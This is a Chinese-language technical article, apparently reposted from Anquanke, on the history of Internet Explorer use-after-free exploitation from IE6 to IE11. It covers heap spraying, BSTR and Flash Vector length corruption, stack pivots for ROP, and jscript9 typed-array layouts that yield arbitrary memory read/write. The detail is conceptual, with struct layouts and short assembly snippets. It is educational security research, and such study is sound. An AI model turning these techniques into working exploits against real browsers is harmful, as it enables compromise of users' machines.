Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

$
0
0
【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

2017-03-28 14:38:58
来源:安全客 作者:Ox9A82

阅读:562次
点赞(0)
收藏





【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

作者:Ox9A82

稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术


前言

在前一部分中,我们介绍了从IE6到IE11的堆喷射方法,其实堆喷射只是一种手段目的还是为了实现最后的漏洞利用。在这一篇文章中,我们会根据时间顺序来讲解IE浏览器漏洞利用技术的发展,我们会把主要精力放在UAF漏洞的利用上面,同时会涉及一些其它类型的漏洞作为辅助以绕过漏洞缓解措施,这篇文章主要介绍技术发展脉络,实际的漏洞调试会放在下一章,期间我阅读了大量的文档、会议PPT和博客文章,在此也对前辈们的分享表示感谢。同时给大家分享两句我很喜欢的话,一句来自大家应该都很熟悉的陈皓大牛,一句来自charles petzold大家应该都有读过他的书

要了解技术就一定需要了解技术的历史发展和进化路线。因为,你要朝着球运动的轨迹去,而不是朝着球的位置去,要知道球的运动轨迹,你就需要知道它历史上是怎么跑的。

学习技术发展史的重要意义正在于此:追溯的历史越久远,技术的脉络就变得越清晰。因此,我们需要做的就是确定某些关键的历史阶段,在这些阶段,技术最天然、最本质的一面将清晰可见。

首先简单介绍一下本篇文章将要提到的漏洞类型,我们这篇文章主要会针对两类漏洞进行描述,即越界访问漏洞和释放后重引用漏洞。这两种漏洞的英文名称分别为Out-of-Bound和Use-After-Free,因此我们通常简称这类漏洞为OOB和UAF。

1.越界访问漏洞

越界访问漏洞,个人认为越界访问漏洞应该是按照漏洞造成的效果进行划分的,而不是依照漏洞成因进行的划分。我认为如果是从成因的分类上来讲,像堆溢出、整数溢出、类型混淆等都可以造成越界访问漏洞。

越界访问,所谓的访问就是指越界读和越界写,在后面我们可以看出越界漏洞是比较容易利用,也是比较好用的一类漏洞,这里好用指的是效果比较好,一般通过这种OOB漏洞可以在IE浏览器中轻易的实现绕过ASLR的保护。

而这种漏洞的利用,一个共通点是要进行内存布局(或称为Feng shui技术)。即把一些特殊的对象或者结构布置在漏洞对象附近,否则读写都无从谈起,我们会在后面展开来说这些内容。

2.释放重引用漏洞

Use-After-Free漏洞中文名为释放后重引用漏洞,这种漏洞估计大家都比较熟悉。

所谓的“释放重引用”是指在一块内存被释放后在某处还保存有指向这块内存的悬垂指针,之后对悬垂指针进行了解引用(所谓的重引用)导致了漏洞的触发。

我们分析UAF漏洞一般要搞清楚几个关键点:

1.是什么对象发生的UAF?

2.UAF对象何时被分配、何时被释放?

3.导致crash的流程是什么?

4.为什么会存在悬垂指针?

但是在早期的UAF漏洞利用来说,一些Hacker们往往只需要知道步骤2、3就可以实现漏洞利用。这是因为早期的UAF一般都是通过占位和堆喷射来进行利用的,比较简单粗暴。


1.为什么IE中会存在大量的Use-After-Free漏洞?

我们的第一个问题是IE浏览器中为什么会爆出大量的UAF漏洞?

这个问题的提出并不奇怪,因为其它的软件诸如Office Word的漏洞可能基本上都是一些堆栈溢出,而UAF则是凤毛麟角。

IE浏览器中并不是没有存在过栈溢出这些类型的漏洞,而是经过了十余年的发展基本都已消耗绝迹,但是UAF漏洞“络绎不绝”的本质原因在于IE浏览器中存在着大量的各种类型的对象和其间互相关联的关系,包括各种标签和各种内部数据结构比如CElement就是代表元素对象的父类,举例来看CButton是CElement的子类代表<Button>标签。

这些html标签和DOM Tree是由IE浏览器中的渲染引擎mshtml(就是所谓的Trident)负责解析的。html标签在mshtml内部就是由一个个的C++对象来进行表示的,同样DOM树也是通过一些数据结构来进行描述(比如CTreeNode、CTreePos),这些对象之间存在复杂的相互关系。并且mshtml使用了引用计数的方法来跟踪对象的使用情况。

我们可以通过泄漏的IE5.5源代码来观察这一点,虽然IE5.5版本对于我们来说已经是相当的古老了,但是其实一些核心的部分还是相当相近的。

如下是IPrivateUnknown接口,这个接口在我们源码中存在着如下的继承关系CElement->CBase->IPrivateUnknown。

interfaceIPrivateUnknown { public: STDMETHOD(PrivateQueryInterface)(REFIIDriid,void**ppv)=0; STDMETHOD_(ULONG,PrivateAddRef)()=0; STDMETHOD_(ULONG,PrivateRelease)()=0; };

在此我推荐阅读以下两篇文章,可以增进对IE浏览器的了解:

《IE安全系列:IE浏览器的技术变迁(上)》

http://www.infoq.com/cn/articles/Internet-Explorer-Security1

《IE安全系列:IE浏览器的技术变迁(下)》

http://www.infoq.com/cn/articles/InternetExplorer-Security2


2.如何利用IE中的Use-After-Free漏洞

如何利用UAF漏洞是我们这篇文章的主题,在分门别类的进行讨论之前,我们首先介绍一些基础知识。我们在前面介绍了UAF漏洞的一些信息,对于UAF漏洞的利用无论在什么时期,一个通用的步骤就是在UAF对象被释放之后马上去分配一个相同大小的内存块,我们称这一步操作为“占位”。占位的原理在于堆分配的机制,当一块堆内存被释放后出于效率的考虑会被保存在一些结构中以便于再次的分配。占位就是利用这一点,通过分配相同大小的堆内存试图重用UAF对象的内存,对linux堆有了解或是打过CTF的同学应该都比较熟悉这一点了。为了成功实现占位,一般是多次分配相同大小的内存以保证成功率。

需要说明的一点是,不是所有的UAF漏洞都是可以利用的,因为一些漏洞无法进行占位。比如有的漏洞它的对象释放和重用操作就在同一个函数中,刚刚释放完马上就重用了,这种情况根本没有机会去进行占位,从而无法进行利用。

我们说了这么久的占位,其实占位的目的是为了控制对象的内容。同样目的的操作,还有挖坑法(make hole),挖坑法是指在布局好的内存中释放一个指定大小的块,好让目的对象落在我们布局的内存中,我们会在后文提到这一点。还有内存未初始化漏洞的利用也与之类似,内存未初始化漏洞是指分配一块内存后未经初始化就直接进行使用,我们为了控制未初始化对象的内容会先释放一些与之相同大小的已布置好内容的内存,然后让未初始化对象来重用我们的内存。

接下来我们就根据历史发展来讨论利用技术,可以看出随着历史的向前漏洞利用技术有了很大的发展,相比早期的利用技术现在无论是在思路还是在手法上都是发生了质的飞跃。


3.IE6漏洞利用(史前时代)

我们把IE6作为IE漏洞利用的开端,我们称之为史前时代,说到史前我们可能会想到刀耕火种、茹毛饮血。此时的IE漏洞就是处于这样一个野蛮生长的时代,漏洞利用技术简单粗暴导致网马大量横行。主要原因在于IE6时代的浏览器版本不支持DEP等漏洞缓解措施(虽然此时操作系统已经支持DEP),导致漏洞利用的成本低廉,但是也因此流传下来一些“远古神话”,比如经典的0x0C0C0C0C。

这一时期由于Active X插件作者的水平参差不齐,因此大量的控件存在有诸如栈溢出之类的简单漏洞,利用方式也极为简单粗暴配合堆喷就可以实现利用,这些漏洞我们简单略过不再详述。

我们把关注重点放到此时的UAF漏洞上面,通过我们前面对UAF漏洞的简单介绍就可以看出,UAF漏洞与栈溢出有着本质不同。栈溢出可以简单直接的控制返回地址从而劫持执行流程,但是UAF往往是处于堆上并没有直接劫持流程的途径。为了能够在堆上劫持指令执行流程,前辈们想出了劫持虚函数调用的方法。

我们首先简单介绍一下虚函数,在C++程序中,如果一个类存在虚函数那么当这个类实例化对象后,对象的前4个字节就是虚函数表的指针,当我们调用虚函数时实际上是到虚函数表中寻找函数指针。接下来,我们就通过这一点来进行利用。

我们首先通过占位来控制UAF对象的内容(如果你不理解这一步,可以往前看一看),控制了对象的内容就相当于控制了虚函数表的指针。接下来我们需要一个稳定可达的地址,因此我们使用上一篇文章讲过的堆喷射,然后把虚表指针指向我们喷射的内存地址,这样一旦触发漏洞就会把我们的喷射内存当作虚表来执行了。

为什么一触发漏洞就会把喷射内存当作虚表来执行呢?如果没有调试过IE漏洞可能会提出这个问题,因为我们实际去调试漏洞就会发现事实上UAF漏洞触发后基本都会crash在虚函数调用处,如果你发现windbg停在一个莫名其妙的地方很可能是因为没有开启页堆,可以使用!gflags.exe -i +hpa进行开启,关于页堆可以学习一下张银奎老师的《软件调试》。(此外新手可能会发现明明异常了却没有停下来,可能是没开启子进程调试,主要是对于IE8以后这种多进程浏览器来说。)

根据我们上面的描述可以看出,我们是在把喷射的内存当成虚表。但是当我们调用虚函数时,往往是下面这个样子的:

moveax,[ecx] call[eax+4]

这两条指令意味着,喷射的内存不仅会被当成虚表还会被当成指令来执行。并且更糟糕的情况是:这里我们不能确定堆喷射的准确分配地址,就是说我们不能确定堆表指针到底喷射在哪里。这时就对我们的喷射提出了要求,我们需要寻找一个既可当作地址解释又可以当作无意义指令解释的值。

在这种情况下“上古传说"0x0C0C0C0C就诞生了,如果我们使用0x0C0C0C0C作为喷射的内容的话,当mov eax,[ecx]时就会取到0x0C0C0C0C作为指针来进行跳转,call [eax+4]会把0x0C0C0C0C的0x4处偏移取出并call,当然其结果依然为0x0C0C0C0C,这样call 0x0C0C0C0C会执行指令0x0C,而0x0C相当于nop就会最终执行到shellcode了。当年有很多这样的通用地址存在比如0x0D0D0D0D、0x06060606。

这种利用方式简单粗暴却又有效,因此我们称为史前时代,就像TK教主说的一样:

在当年无 DEP 的环境下,几乎完全不懂漏洞原理的人,知道去 Heap Spary 0x0C0C0C0C 就能搭积木一样写出 Exploit,而且还很通用。

当然,对于不涉及虚表访问的利用来说,使用0x0c0c0c0c是完全没有意义的。不过这个地址已经成为一个"上古神话"了,所以我们还是会经常看得到它,甚至于一些安全软件一旦发现这个值就会报警。


【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

4.IE8早期漏洞利用(石器时代)

前面我们说IE6时期是史前时期,因为那时的漏洞利用简单粗暴。相比于当时,IE8时代的利用技术向前走了一大步,不过因为安全体系的问题早期的IE8利用依然只能称为是石器时代,还是相当的原始。

自IE8开始,DEP和ASLR成为浏览器中默认启用的缓解措施,如何bypass ASLR和DEP成为了攻击者首要面对的问题。我们简单介绍一下DEP和ASLR,如果是熟悉Linux的同学,那么Linux下的NX保护与DEP是很类似的,都是把一些非代码段内存设为不可执行来阻止攻击者运行shellcode。在其它的软件中bypass DEP通常使用ROP技术,但是由于IE几乎都是基于堆的漏洞不存在直接进行ROP的条件所以并不能通过简单的ROP实现bypass DEP。而ASLR会使得模块装载的地址变得不确定,对漏洞利用有一些了解的同学肯定知道Rop技术是依赖于一些rop gadgets来进行不断的跳转利用的,ASLR的启用会直接妨碍我们获取rop gadgets。

不过对于早期的利用,ASLR并没有对利用者造成太大的困扰。因为ASLR早就在诸如Office Word之类的软件中启用了,Hacker们直接套用了在这些软件中的做法即利用一些未开启ASLR的模块进行利用。因为当时很多的模块并不支持ASLR因此加载在固定基地址。这种方法也是比较简单粗暴的而且通用性比较差,比如以前在IE中常用的Java6的msvcr71.dll,如果目标并没有安装JRE或者版本不对利用都不能成功。

因为此时仍然比较原始,所以我们称之为石器时代。事实上,今天的应用程序不支持ASLR的已经非常少见了,想通过不支持ASLR的模块来实现ROP已经不大可能了。所以我们把完整的利用方法放到下一章中详述。


5.IE8浏览器结合信息泄漏利用(铁器时代)

据说人类跟动物的区别是人类会使用工具,那么这一时期利用技术的进步堪比从石器进化到铁器。

这一时期的标志事件是Peter Vreugdenhil在Pwn2Own2010中攻破IE8项目,这一过程中的技术手段对后来的利用技术发展有着重要的作用。Peter Vreugdenhil利用IE8的手段是把一个OOB漏洞与一个UAF漏洞相互结合,我们首先来说OOB漏洞。Peter Vreugdenhil通过内存布局把BSTR布置在存在OOB的对象后面,目的是进行信息泄漏,通过越界写来改变BSTR的长度,实现了越界读。

我们在前面说过BSTR不是简单的Unicode字符串,BSTR的结构由4字节的长度(size)域、2字节的结束符(\x00\x00)加上Unicode字符串构成。通过我们精心构造内存布局,使BSTR对象紧随漏洞对象的后面。之后再在BSTR后面再放置目标对象,这样当触发漏洞对象发生越界访问的时候就可以覆盖掉BSTR结构的size域。一旦我们把size域覆盖为更大的数值,我们就能够使得BSTR发生越界读(因为BSTR只可读不可写)。然后通过js脚本读取BSTR字符串,就能够读到BSTR之后的对象。我们的目的是获取后面对象的虚表地址(首4个字节)。如果你想了解的更详细可以参见(http://vreugdenhilresearch.nl/Pwn2Own-2010-windows7-InternetExplorer8.pdf)

为什么获得虚表地址就可以bypass ASLR呢?因为对于C++程序来说虚函数表是被编译在全局数据段的,就是说对于模块的基地址的偏移是固定的。我们通过泄漏的虚函数表的地址减去偏移就可以知道对象所处的dll模块的基地址,也就可以使用这个模块中的gadgets了。

这种方法有两个需要解决的问题:第一是如何构造稳定的内存布局使我们上述的内容得以实现。第二是当我们覆盖成功后,如何通过javascript脚本层面上的操作把值获取到。其实我们后面要讲到的方法都面临着这两个问题。

由于这种利用较为简单,可以直接参考泉哥的著作《漏洞战争:软件漏洞分析精要》里面第三章的CVE-2012-1876的利用分析,其使用的方法就是通过BSTR进行泄漏,我们也会在下一篇中给出实际的漏洞调试。

单单绕过ASLR是无法实现漏洞利用的,因为DEP的存在我们没有办法在堆上执行指令。为此Hacker们想了很多办法,其中我认为最早实现成功利用的依然是Pwn2Own 2010上Peter Vreugdenhil使用的方法,虽然与我们这里讲的不完全相同,但是我觉得是Peter Vreugdenhil方法的进化版。我们忽略Peter Vreugdenhil的方法(感兴趣的可以查看上面的连接),我们使用的手段是stack pivot,所谓stack pivot就是通过mov esp,eax、xchg esp eax等指令来实现把栈转移到堆上,因为一般的UAF漏洞触发时我们都可以控制至少一个寄存器的值。通过把esp指向我们喷射的内存,我们就可以把堆伪造成栈,从而像普通的栈溢出一样进行ROP,通过执行ROP最终实现代码执行。

但是这一利用方法首先要确保的是我们要能够精准的计算堆喷射的地址,因为堆不可执行所以我们不能再依赖于用于缓冲的nop指令了。好消息是我们在前一篇文章中已经讲过准确计算的原理和实现了,这里再简单复述一下。当我们大量分配堆块时可以发现地址的最低几位是一直不变的,地址改变的熵只是固定的地址高位并且堆块的分配相当的稳定。这样如果我们使偏移都落在地址的高位,那么我们的指向就会是整块进行偏移,从而保证了每次指向的都是计算好的准确的地址。

举个例子:我们可以以每个块为单位计算出ROP链第一条地址的偏移,然后其实我们可以想一下0x0C0C0C0C这个地址还有没有用?在这种利用环境下,第一不需要跳板指令,第二我们跳转目的地址是精确的,那么0x0C0C0C0C这种地址就根本没有存在的价值了。我们要的就只是一个堆喷射可达的稳定的地址。

无堆喷射,通过ANIMATECOLOR对象实现利用

这种方法不需要进行堆喷射就可以实现利用,堆喷射其实并不能说是一种优雅的利用方法,因为分配内存需要一定的时间,而且如果目标机器的配置较低的话可能会导致卡顿从而被目标察觉。我之前在binvul上看到过一些所谓的“不弹不卡不喷射不风水”的样本其实指的就是这种技术。

ANIMATECOLOR是IE8版本起提供的一种对象,由于这种对象的特殊构造所以可以不使用堆喷射来实现利用,我们在下一篇实际漏洞调试时再来进行分析。


6.结合Flash的利用(中世纪)

到这里浏览器利用技术又是一个飞跃,结合flash利用虽然不能说特别优雅(因为要依靠第三方),但中世纪是文艺复兴的先声,可以说自此之后利用技术又进入了一个发展的新巅峰。

这种利用技术不是来自于Pwn2Own也不是来自于某次会议的分享,相反,随着时间的发展,在2013年网上流传出了一些无需多漏洞结合使用,通过单一漏洞就可以bypass缓解措施+执行代码的exp样本,这些exp样本应该是用于实际攻击的武器。其主要特点是结合了flash进行漏洞利用,这种利用技术最早应该是由李海飞前辈在《Smashing the Heap with Vector:Advanced Exploitation Technique in Recent Flash Zero-day Attack》这文章中提出的(CVE-2013-0634)。

ThisisinfactasomehownewtechniquewhichleveragesthecustomheapmanagementonFlashPlayertogainhighly-reliableexploitationbypassingboththeASLRandDEP.

就像李海飞前辈所说,这完全是一种新技术。并且这种新技术可以只凭借一个单一的漏洞实现bypass全部的缓解措施并且执行最终的shellcode,这一点是以前的exploit所做不到的事情。

我们简单的概括一下利用的方法,我们先忽略漏洞的细节简单的认为它是一个0x90个字节的堆块发生的溢出。我们首先分配一系列0x90大小的Vector对象,对于储存数字的Vector来说每个数字占8个字节,16个数字加上16字节的固定结构正好满足0x90的大小。


【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

我们在vector对象布置完成之后,通过代码来释放一些0x90大小的vector,再触发漏洞。之后会分配具有溢出的0x90大小的堆块,因为尺寸与我们之前释放的vector尺寸相同,根据堆的特性漏洞堆块会重用我们之前释放的vector对象内存。这一步操作称为挖坑(make holes),挖坑的目的是为了使得漏洞堆块处于vector对象的包围之中。


【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

下一步,我们只需要利用溢出就可以覆盖掉相邻vector对象的“Number_of_elements”域。

覆盖的结果是使得相邻的vector可以发生越界访问,通过操作这个越界的vector我们又可以覆盖下一个vector的“Number_of_elements”域,但这次我们可以直接把“Number_of_elements”域改的很大,从而实现了整个进程地址空间的任意读写。


【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

一旦实现了整个内存空间的进程读写,就可以做到bypass DEP和ASLR了。

如果说这次利用只是因为漏洞本身有比较合适的尺寸便于布局、有直接的溢出便于覆盖结构。那么陈小波前辈发布的《ASLR Bypass Apocalypse in Recent Zero-Day Exploits》中就给出了一个通用的思路,其中提到了很重要的一点就是:如何把一个常规的UAF漏洞往我们上面说的Flash vector越界写上面进行转化。对于这个问题作者提供了如下的思路:以CVE-2013-0634为例,这是一个在IE浏览器中常见的UAF漏洞,在利用这个漏洞时exp作者在代码执行路径上发现了一条指令:

ordwordptr[esi+8],20000h

其中esi的值是我们可控的(来自UAF对象,可以通过占位进行控制),作者把它指向布置好了的Vector对象的长度域,在执行了or之后长度域会变大从而使得这个vector可以进行越界操作。之后可以通过这个vector越界写紧邻的下一个vector的长度域从而实现了整个进程地址空间的任意读写。此外还要解释一下为什么可以知道Vector对象的长度域的地址,

之后的IE浏览器利用从基本思想上发生了转变,攻击者不再追求结合多个漏洞泄漏信息再进行堆上ROP,而是继承了flash vector的任意读写转化思路,试图从UAF转化到任意地址读写,再通过任意地址读写来实现绕过缓解措施。


7.UAF转化与Element Attribute(启蒙时代)

之后漏洞利用进入启蒙时代,相比flash利用这一时期的优点是不再依赖于flash模块。这样可以提高漏洞利用的成功率和降低成本,因为此时一个漏洞就可以实现多个漏洞的利用效果并且在flash利用爆发后安全软件对夹杂flash的页面十分敏感,不依赖flash可以提高漏洞利用的成功率。

在《A BROWSER IS ONLY AS STRONG AS ITS WEAKEST BYTE》这篇文章中,作者以CVE-2013-3147为基础详细讲解了如何从crash地点进行分析来寻找一条合适的代码路径把UAF转化成inc [address](绝对地址加),并且避开虚函数调用以免引发crash。简单的概括就是查找crash附近的代码流程,寻找有没有写原语,如果存在这样的原语就想办法满足逻辑条件把执行流程引导写原语上去。

值得注意的是作者在利用这个任意地址加的过程中并没有依靠flash vector,而是通过喷射Element Attribute来实现利用。首先简单介绍一下Attribute是什么,如果你有看过HTML那么应该知道一些标签是具有属性的,比如每个标签都有id属性用做唯一的标识。对应于底层实现来说,每个DOM元素对应的CElement结构中也会有指针指向Attribute Array,每个属性占其中一项。那么Element Attribute是如何实现利用的呢?

首先我们忽略漏洞的细节,只看漏洞导致的效果,经过转化操作这个UAF漏洞可以引导到如下的路径上

incdwordptr[esi+0A0h]

其中esi寄存器的值我们可以直接控制,因此这个漏洞相当于一个任意地址加1的效果。

接下来我们要来看下Element Attribute的结构,这就是我们前面所说的Attribute Array中的一项。

dwordflag dwordName_hex dwordptrorvalue dwordptrorvalue

其中flag代表这个属性类型,作者总结了一下这些可选值

VT_EMPTY=0x0000, VT_NULL=0x0001, VT_I2=0x0002, VT_I4=0x0003, VT_R4=0x0004, VT_R8=0x0005, VT_CY=0x0006, VT_DATE=0x0007, VT_BSTR=0x0008, VT_DISPATCH=0x0009, VT_ERROR=0x000A, VT_BOOL=0x000B, VT_VARIANT=0x000C, VT_UNKNOWN=0x000D, VT_DECIMAL=0x000E, VT_I1=0x0010, VT_UI1=0x0011, VT_UI2=0x0012, VT_UI4=0x0013, VT_I8=0x0014, VT_UI8=0x0015, VT_INT=0x0016, VT_UINT=0x0017, VT_VOID=0x0018, VT_HRESULT=0x0019, VT_PTR=0x001A, VT_SAFEARRAY=0x001B, VT_CARRAY=0x001C, VT_USERDEFINED=0x001D, VT_LPSTR=0x001E, VT_LPWSTR=0x001F, VT_RECORD=0x0024, VT_INT_PTR=0x0025, VT_UINT_PTR=0x0026, VT_ARRAY=0x2000, VT_BYREF=0x4000

而第二个DWORD的值为属性名的哈希值,第三和第四个值为实际的属性内容,如果属性内容是诸如字符串这样的值,那么它会是一个指针。

作者的核心思路是对第三个DWORD那个指针进行加1操作,因为是以字节为单位进行加1,所以实际的操作效果可能是指针偏移0x1、0x100、0x10000、0x1000000。在这种思路之下作者进行了内存布局,通过构造相同大小的BSTR字符串和一个元素来使得它们彼此相邻的分配(相同大小通过计算可以轻易的得到,而且也正是因为它们大小相同所以才会发生彼此相邻的分配),在布局完成之后对指针进行加1操作就可以读出后面元素的内容,在实际利用过程中布局要更加复杂一些不过原理是一致的。

实际利用过程中作者一次性创建了含有0x7FFE个属性的元素,然后复制它直到大小为0x800000个字节。然后对这些元素进行遍历,每隔0x1000个属性就把它的值设置为一个0x8A大小的字符串,这个设置会导致在内存中分配0x8A字节的字符串,然后马上创建一个body元素并添加9个默认属性(大小正好是0x8A)这样就做到了BSTR和元素的紧邻分配。接下来就像我们上面所说的对指针加1就能读到body元素的内容了。因为body默认属性中包含一些域,通过读取它就可以算出mshtml.dll的基地址。

然后作者在这个基础上继续进行改进,因为作者认为mshtml.dll的版本变化比较多对于利用不是很理想,而且现在我们做的还只是泄漏操作没有实际的进行执行流劫持,而我们这一阶段的主题就是只通过单个漏洞来实现完整的利用。作者为了实现流程控制对属性表进行了覆盖操作,但是又会受到低碎片堆机制的限制,为此又要伪造堆头结构。可见这种利用方法还是比较麻烦的,但是对Element Attribute结构的利用思路对后来的漏洞利用思路有很大的帮助。

之后在2014年,这个时候Ivan Fratric的《Exploiting Internet Explorer 11 64-bit on Windows 8.1 Preview》发布出来。这篇文章的意义在于,作者针对javascript array对象进行了分析,然后对array对象进行Feng shui布局并且通过它的capacity域实现了利用。由于js引擎是根据capacity域对数组大小进行判断的,因此我们一旦篡改了capacity域就可以对数组进行越界访问。在下一阶段的利用中,我们就会看到array object在漏洞利用中起到的作用。

此外在2015年的Pwn2Own上,360 vulcan团队就是通过Element Attribute对IE11浏览器进行的利用。不过与我们这里的情形不同,vulcan利用的漏洞恰好就是在处理Element Attribute时出现的未初始化问题,由于与文章主题无关这里就不赘述了,不过相信读完本文之后你就可以理解古河讲的利用思路了,利用的详情可以查看http://www.ichunqiu.com/course/52149。


8.IE11与针对jscript9引擎的攻击(近现代)

CanSecWest2014上,ga1ois在议题《The Art of Leaks》中讨论了几个很关键的问题。

第一是自IE9以后引入的jscript9引擎——jscript9.dll使用与以前不同的custom heap,而且这个custom heap并没有做任何的分配随机化措施,这一点给我们进行内存布局提供了可能。

第二是从UAF转化为任意地址读写的过程中可能因为虚表访问而导致crash和如何避免发生这种crash。

在IE9之前的版本中,javascript是由javascript解析引擎——jscript.dll负责解析的,这个dll在分配内存时使用的是系统的进程堆。而在最新的javascript解析引擎——jscript9.dll中,在分配一些对象时引擎会使用custom heap,这个custom heap是由jscript9自己负责管理和维护的。并且这个custom heap在分配时没有进行随机化处理,以至于攻击者可以通过布局一些对象(所谓的feng shui技术)来预估出对象所处的地址。


【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

其中直到0xf000之前的都是我们的array object填充数据,而自0xf000起是我们想要的目标对象,这里以int32Array作为目标对象的例子。

因为后续我们还会涉及到int32Array这个对象,所以我们这里详细的介绍一下。int32Array属于Typed array的一种,根据MDN的介绍Typed array有以下几种


【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

我们知道javascript是一种脚本语言,是难以像C语言一样表示一些底层数据类型的,Typed array的设计就是为了解决这个问题。我们虽然可以直接使用new来创建一个Typed array对象,诸如

newInt32Array(32);

但是还有一种特有的用法如下:

vara=newArrayBuffer(8); varb=newUint8Array(a);

这与Typed array的底层结构是息息相关的,其结构分为解释数据类型的视图对象和实际储存数据的缓冲区对象。

StructInt32ArrayallocatedatCustomHeap { void*pvftable; DOWRDvar_2; DOWRDvar_3; DOWRDvar_4; DOWRDvar_5; DOWRDvar_6; DOWRDsize;//条目的个数,字节数等于这项的值*4 void*pTypeArrayData;//ArraybufferData void*pArrayBuffer;//ArraybufferObject DWORDvar_10; DWORDvar_11; DWORDvar_12; } StructArrayBufferallocatedatCustomHeap { void*pvftable; DOWRDvar_2; DOWRDvar_3; DOWRDvar_4; void*pTypeArrayData;//ArraybufferData DWORDsize;//arraybytes DWORDvar_10; DWORDvar_11; }

其中Arraybuffer Data就是直接保存数据的区域,并且这块内存是分配在process Heap上的。

一旦可以预估出对象的地址那么就可以通过把UAF转化为绝对地址写去篡改Int32Array对象的长度域,来实现Arraybuffer Data的越界读写。因为Arraybuffer Data是储存在process Heap中的因此需要一个分配在process Heap上的对象来配合利用。这里作者使用的是LargeHeapBlock,因为这个对象处于process Heap中,并且恰好存在合适的域来实现任意地址读写。我们可以看出这种利用jscript9的方法明显比之前的做法要更稳定和易于操作。

至于UAF到读写的转化,与我们前面提过的大体相同就是跟踪漏洞触发附近的执行流程寻找有没有合适的转化原语(opcode)。在转化过程中可能会导致crash的问题,成功利用写入原语之后会发生虚函数调用,如果虚表被破坏的话虚函数调用就会导致crash。对此ga1ois给出了解决方案:


【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

之后,在同年的Hitcon上exp-sky进一步发展了这一技术,代码和文档可以在作者github中找到(https://github.com/exp-sky)。与ga1ois的不同之处在于exp-sky没有使用typed array进行布局,而是将IntArray Object作为目标对象进行布局。这一操作的优点在于IntArray全部都是基于custom heap进行操作的,如果你还记得我们上面讲的内容的话,你应该知道我们在对typed array进行篡改操作后进行越界编辑的是Arraybuffer Data,而这块内存是存放于process heap中的,这就意味着我们还要进一步的对process heap进行布局,而这种方法则完全没有这个必要。

StructArray_Head { void*p_viable; DOWRDvar_2; DOWRDvar_3; DOWRDvar_4; DOWRDsize; DOWRDp_first_buffer; DOWRDp_last_buffer; DOWRDvar_8; DOWRDvar_9; DOWRDvar_10; } StructArrayBuffer { DWORDvar_11; DWORDsize; DWORDbuffer_size; DWORDnext_buffer; DWORDdata[buffer_size];//data }

注意这两个结构都处于Custom Heap并且是分配在一起的。

因此喷射IntArray相比前面的方法要更方便也更容易控制,由于ArrayBuffer对象存在有保存当前缓冲区大小的域(buffer_size),只要通过绝对地址写改写这个域为很大就可以转化为任意内存读写了,之后再修改相邻块的域这一点与前面的技术是相同的。

总体来说,这一时期的利用思路基本都在于喷射一些关键的对象,并结合各种feng shui技术(尤其是jscript9中的)进行布局。然后试图把UAF转化为绝对地址写,来写我们喷射对象的关键域从而实现从UAF到任意地址读写的跨越。

一旦获得了任意地址读写就相当于可以让攻击者进行随意利用,这时各种漏洞缓解措施就不再能够阻挡攻击者的脚步了。

这里我使用了一张demi6od在《Smashing the Browser》议题中使用的图,这张图很好的说明了我们所讲的思路。


【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展

后记

其实这一系列的文章,我在去年10月份的时候就已经写完了,但是一直在硬盘里放了近半年都没有投出来。我主要是考虑到这系列文章涉及的话题太广、内容太多、历史又太悠久,考虑到自己仅是个大二学生水平较低、接触漏洞方面也不久,唯恐内容中出现错误和纰漏。但是做了一番修改后我还是鼓起勇气发出来了,希望大家能够帮忙修正文章中错误和提出修改建议,可以通过微博私信给我 id:Ox9A82。


Reference

《The Art of Leaks – The Return of Heap Feng Shui》Gaois

https://cansecwest.com/slides/2014/The%20Art%20of%20Leaks%20‐%20read%20version% 20‐%20Yoyo.pdf

《IE 11 0day & Windows 8.1 Exploit》exp-sky

《Smashing the Browser》demi6od

《浏览器漏洞攻防对抗的艺术》仙果

http://bbs.pediy.com/thread-211277.htm

《Exploiting Internet Explorer11 64-bit on Windows 8.1 Preview》

http://ifsec.blogspot.com/2013/11/exploiting-internet-explorer-11-64-bit.html

《ASLR BYPASS APOCALYPSE IN RECENT ZERO-DAY EXPLOITS》

https://www.fireeye.com/blog/threat-research/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html

《A BROWSER IS ONLY AS STRONG AS ITS WEAKEST BYTE》

http://blog.exodusintel.com/2013/11/26/browser-weakest-byte/

《A browser is only as strong as its weakest byte – Part 2》

https://blog.exodusintel.com/2013/12/09/a-browser-is-only-as-strong-as-its-weakest-byte-part-2/

《Smashing the Heap with Vector:Advanced Exploitation Technique in Recent Flash Zero-day Attack》

https://sites.google.com/site/zerodayresearch/smashing_the_heap_with_vector_Li.pdf?attredirects=0

《IE安全系列:IE浏览器的技术变迁(上)》

http://www.infoq.com/cn/articles/Internet-Explorer-Security1

《IE安全系列:IE浏览器的技术变迁(下)》

http://www.infoq.com/cn/articles/InternetExplorer-Security2

《攻破Windows 8.1的64位IE - 分享Pwn2Own黑客大赛成果》

《Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit》

http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf

《Flash Vector漏洞利用的蜕变》

http://www.cnetsec.com/article/14571.html

《Array Object Heap Spraying》

http://www.cnblogs.com/wal613/p/3958692.html


传送门

【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术



【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展
【技术分享】IE浏览器漏洞综合利用技术:UAF利用技术的发展
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3666.html

【漏洞分析】Oracle知识库管理系统XXE漏洞分析:可导致RCE

$
0
0
